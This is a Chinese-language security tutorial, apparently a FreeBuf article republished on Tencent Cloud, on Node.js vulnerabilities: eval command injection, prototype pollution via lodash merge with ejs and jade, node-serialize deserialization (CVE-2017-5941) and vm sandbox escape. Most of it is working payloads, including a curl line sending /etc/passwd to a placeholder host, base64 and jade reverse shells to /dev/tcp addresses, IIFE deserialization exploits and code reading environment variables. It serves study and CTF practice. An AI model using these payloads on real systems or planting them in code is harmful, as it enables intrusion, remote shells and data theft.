前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >详解Nodejs中命令执行原型链污染等漏洞

详解Nodejs中命令执行原型链污染等漏洞

作者头像
FB客服
发布2023-04-26 15:12:47
1.6K0
发布2023-04-26 15:12:47
举报
文章被收录于专栏:FreeBufFreeBuf

Nodejs特例

大小写转换函数

toUpperCase(): 将小写转换为大写的函数 toLowerCase(): 将大写转换为小写的函数

注意:

前者可以将ı转换为I, 将ſ转为为S

后者可以将İ转换为i, 将K转换为k

数组

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

通过调试:

可以传入数组绕过。

命令执行

eval

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。

漏洞实例:

代码语言:javascript
复制
var express = require('express');var app = express();
app.get('/eval', function(req, res){    res.send(eval(req.query.cmd));    console.log(req.query.cmd);})
var server = app.listen(8000, function(){    console.log("实例的地址在http://127.0.0.1:8000");})(向右滑动,查看更多)

我们知道上面代码中,在/eval路由中的cmd传入参数可控,可以传入javascript代码进行代码执行

在Nodejs中child_process中调用的是/bash.sh,是一个bash解释器,可以执行系统命令,构造require('child_process').exec(xxx)执行命令。

payload

代码语言:javascript
复制
// windows中弹出计算机?cmd=require('child_process').exec('calc');// linux中读取敏感文件?cmd=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps'); //没有回显的时候?cmd=require('child_process').exec('cat /etc/passwd');// 反弹shell?cmd=require('child_process').exec('echo xxx|base64 -d|bash');//其中的 xxx 是 bash -i >& /dev/tcp/vps/port 0>&1 base64加密之后的字符串
// 读取文件?cmd=require('fs').readFileSync('xxx(文件名)', 'utf-8');__filename__dirname(向右滑动,查看更多)

如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令。

Bypass

过滤exec: 拼接exec绕过

代码语言:javascript
复制
?cmd=require('child_process')['exe'+'c']('ls')?cmd=require('child_process')['exe'%2B'c']('ls')(向右滑动,查看更多)

其他命令

间隔两秒执行函数

代码语言:javascript
复制
setInterval(some_function, 2000)

两秒后执行函数

代码语言:javascript
复制
setTimeout(some_function, 2000)

输出

代码语言:javascript
复制
Function("console.log('xxx')")()

原型链污染

prototype是一个类的属性,所有实例化这个类的对象都拥有这个属性中的所有内容,包括变量和方法

__proto__是一个实例化对象的属性,执行对应类的prototype属性

为什么一个空对象的zoo,有bar属性?那是因为,zoo和foo的类都是Object类,通过__proto__修改了这个对象的原型,zoo就带有了bar属性。

如果能够控制数组的键名进行操作就可以进行原型链的污染了。

  • 对象merge
  • 对象clone
代码语言:javascript
复制
//demofunction merge(target, source) {    for (let key in source) {        if (key in source && key in target) {            merge(target[key], source[key])        } else {            target[key] = source[key]        }    }}
let object1 = {}let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')merge(object1, object2)console.log(object1.a, object1.b)
object3 = {}console.log(object3.b)(向右滑动,查看更多)

在JSON解析的情况下,__proto__会被认为一个真正的键名,而不是代表原型(let o2 = {a: 1, "__proto__": {b: 2}})

Code-Breaking 2018 Thejs

这个题中主要的就是因为使用了ejs模板引擎,有一个RCE漏洞

而且在lodashs.merge函数这里存在一个原型链污染漏洞

ptions是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

我将带有__proto__的Payload以json的形式发送给后端,因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:

payload:

代码语言:javascript
复制
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
代码语言:javascript
复制
(向右滑动,查看更多)

jade原型链污染

覆盖掉line就可以达到注入的目的

代码语言:javascript
复制
代码语言:javascript
复制
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"'))"}}
代码语言:javascript
复制
代码语言:javascript
复制
(向右滑动,查看更多)

Node.js中的反序列化漏洞:CVE-2017-5941

复现机:ubuntu16.06

准备

安装nodejs, npm

代码语言:javascript
复制
# nodejssudo apt-get install nodejssudo apt-get install nodejs-legacy# 版本号node -v# npmsudo apt-get install npm# 版本号npm -v(向右滑动,查看更多)

漏洞出现在node-serialize模块的0.0.4版本中

代码语言:javascript
复制
# 下载对应版本sudo npm install node-serialize@0.0.4 --save(向右滑动,查看更多)

测试代码:

代码语言:javascript
复制
// index.jsvar serialize = require('node-serialize');var chybeta = {  vuln : function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});},}serResult = serialize.serialize(chybeta);console.log("serialize result:");console.log(serResult+'\n');console.log("Direct unserialize:")serialize.unserialize(serResult);console.log("\n");console.log("Use IIFE to PWN it:")exp = serResult.substr(0,serResult.length-2) + "()" + serResult.substr(-2);console.log(exp);console.log("Exec whoami:")serialize.unserialize(exp);
// node index.js(向右滑动,查看更多)

成功执行了whoami命令

分析

  • 什么是IIFE(Immediately-Invoked Function Expression)

》立即调用函数表达式,是一个在定义的时候就会被执行的表达式

实例:

代码语言:javascript
复制
(function(){    var name = "RoboTerh";})()//无法从外部访问变量name
  • 漏洞点

在node_modules/node-serialize/lib/serialize.js中的59行开始是反序列化的处理

代码语言:javascript
复制
exports.unserialize = function(obj, originObj) {  var isIndex;  if (typeof obj === 'string') {    obj = JSON.parse(obj);    isIndex = true;  }  originObj = originObj || obj;
  var circularTasks = [];  var key;  for(key in obj) {    if(obj.hasOwnProperty(key)) {      if(typeof obj[key] === 'object') {        obj[key] = exports.unserialize(obj[key], originObj);      } else if(typeof obj[key] === 'string') {        if(obj[key].indexOf(FUNCFLAG) === 0) {          obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');        } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {          obj[key] = obj[key].substring(CIRCULARFLAG.length);          circularTasks.push({obj: obj, key: key});        }      }    }  }
  if (isIndex) {    circularTasks.forEach(function(task) {      task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);    });  }  return obj;};(向右滑动,查看更多)

其中有一段

代码语言:javascript
复制
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');(向右滑动,查看更多)

eval中是使用()包含了的,如果里面是一个function(){}函数,在反序列化的时候就会被当作IIFE立即执行

构造payload

代码语言:javascript
复制
代码语言:javascript
复制
serialize = require('node-serialize');var test = {    exp : function(){        require('child_process').exec('ls /', function(error, stdout, stderr){            console.log(stdout)        });    },}console.log("序列化生成的payload:\n" + serialize.serialize(test));
// {"exp":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error,stdout,stderr){console.log(stdout)});}"}
代码语言:javascript
复制
(向右滑动,查看更多)

我们还需要在生成的序列化字符串后面加上括号

代码语言:javascript
复制
{"exp":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error,stdout,stderr){console.log(stdout)});}()"}
代码语言:javascript
复制
(向右滑动,查看更多)

将payload传入unserialize函数中:

代码语言:javascript
复制
// test2.jsserialize = require('node-serialize');payload = '{"exp":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',function(error,stdout,stderr){console.log(stdout)});}()"}';serialize.unserialize(payload);(向右滑动,查看更多)

成功执行命令

Node.js 目录穿越漏洞复现 CVE-2017-14849

影响环境
  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5
环境搭建

vulhub:

代码语言:javascript
复制
docker-compose builddocler-compose up -d
vm沙箱逃逸

逃逸实例

代码语言:javascript
复制
const vm = require("vm");const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);console.log(env);(向右滑动,查看更多)

可以得到计算机的所有环境变量

等价于代码

代码语言:javascript
复制
const vm = require('vm');const sandbox = {};const script = new vm.Script("this.constructor.constructor('return this.process.env')()");const context = vm.createContext(sandbox);env = script.runInContext(context);console.log(env);(向右滑动,查看更多)

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

执行任意命令

代码语言:javascript
复制
const vm = require("vm");const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()`);console.log(env);(向右滑动,查看更多)

参考链接:

https://xz.aliyun.com/t/7184

https://blog.csdn.net/qq_42880719/article/details/122567506

https://blog.csdn.net/cosmoslin/article/details/122166825

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

https://xz.aliyun.com/t/7025

https://developer.mozilla.org/zh-CN/docs/Glossary/IIFE

https://security.tencent.com/index.php/blog/msg/121

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-04-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Nodejs特例
  • 命令执行
    • eval
      • payload
        • Bypass
          • Node.js中的反序列化漏洞:CVE-2017-5941
      • 原型链污染
      • jade原型链污染
        • 准备
          • 分析
            • 构造payload
              • vm沙箱逃逸
          • Node.js 目录穿越漏洞复现 CVE-2017-14849
          • 参考链接:
          相关产品与服务
          容器服务
          腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档